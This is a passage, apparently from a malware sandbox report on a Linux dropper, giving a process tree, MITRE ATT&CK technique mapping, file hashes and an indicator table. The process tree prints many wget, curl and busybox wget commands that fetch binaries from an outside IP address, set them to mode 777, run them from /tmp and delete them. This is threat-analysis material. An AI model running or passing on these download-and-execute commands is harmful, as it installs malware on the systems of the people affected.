  - Reads runtime system information
  - Writes file to tmp directory
  PID:949
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  PID:950
- /bin/chmod
  chmod 777 vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  ./vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  PID:953
- /usr/bin/wget
  wget http://87.120.125.191/bins/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  PID:954
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  PID:956
- /bin/chmod
  chmod 777 zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  - File and Directory Permissions Modification
  PID:957
- /tmp/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  ./zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  - Executes dropped EXE
  PID:958
- /bin/rm
  rm zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  PID:959
- /usr/bin/wget
  wget http://87.120.125.191/bins/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - System Network Configuration Discovery
  PID:960
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:961
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - System Network Configuration Discovery
  PID:962
- /bin/chmod
  chmod 777 idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  ./idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:964
- /bin/rm
  rm idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - System Network Configuration Discovery
  PID:965
- /usr/bin/wget
  wget http://87.120.125.191/bins/p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  2⤵
  PID:966
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  2⤵
  PID:968
- /bin/chmod
  chmod 777 p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  2⤵
  - File and Directory Permissions Modification
  PID:969
- /tmp/p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  ./p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  2⤵
  - Executes dropped EXE
  PID:970
- /bin/rm
  rm p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  2⤵
  PID:971
- /usr/bin/wget
  wget http://87.120.125.191/bins/me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  2⤵
  PID:972
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:973
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  2⤵
  PID:974
- /bin/chmod
  chmod 777 me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  2⤵
  - File and Directory Permissions Modification
  PID:975
- /tmp/me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  ./me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  2⤵
  - Executes dropped EXE
  PID:976
- /bin/rm
  rm me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  2⤵
  PID:977

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2

Path /tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2	734	25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
/tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5	742	UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
/tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX	748	Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
/tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW	757	kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
/tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI	778	l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
/tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE	798	6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
/tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC	818	U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
/tmp/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz	826	vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
/tmp/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6	835	zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
/tmp/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV	858	idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
/tmp/p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783	874	p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
/tmp/me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17	880	me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
/tmp/GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF	886	GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
/tmp/JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug	892	JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
/tmp/GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF	898	GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
/tmp/JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug	904	JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
/tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2	910	25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
/tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5	916	UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
/tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX	922	Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
/tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW	928	kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
/tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI	934	l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
/tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE	940	6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
/tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC	946	U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
/tmp/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz	952	vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
/tmp/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6	958	zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
/tmp/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV	964	idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
/tmp/p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783	970	p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
/tmp/me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17	976	me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17